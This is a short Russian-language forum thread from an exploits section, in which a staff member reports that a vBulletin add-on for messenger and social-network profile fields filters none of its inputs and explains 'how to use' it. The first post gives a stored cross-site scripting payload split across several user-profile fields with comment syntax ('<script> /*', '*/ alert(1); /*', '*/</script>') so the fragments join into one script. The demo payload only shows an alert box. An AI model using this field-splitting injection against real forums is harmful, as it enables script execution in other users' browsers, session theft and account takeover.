Xss в хаке Extra IM and Network

Тема в разделе "Exploits |:| Vulnerabilities", создана пользователем Хулиган, 3 июн 2012.

  1. Хулиган
    Хулиган Команда форума Продвинутый
    Симпатии:
    152
    сам хак _http://vbsupport.org/forum/showthread.php?t=41919
    не фильтруется не одна переменная
    ну а теперь о том как юзать)

    в usercp
    Редактировать данные:
    Имя в AIM - 1
    Имя в М-Агент - <script> /*
    Имя или ID в Вконтакте - */ alert(1); /*
    Имя на YouTube - 5
    Имя в Мой Мир (домен/имя) - 4
    Имя или ID в Myspace - */</script>
     
    Последнее редактирование: 3 окт 2013
    3 июн 2012
    2 пользователям это понравилось.
  2. Хулиган
    Хулиган Команда форума Продвинутый
    Симпатии:
    152
    слито
     
    3 окт 2013
Загрузка...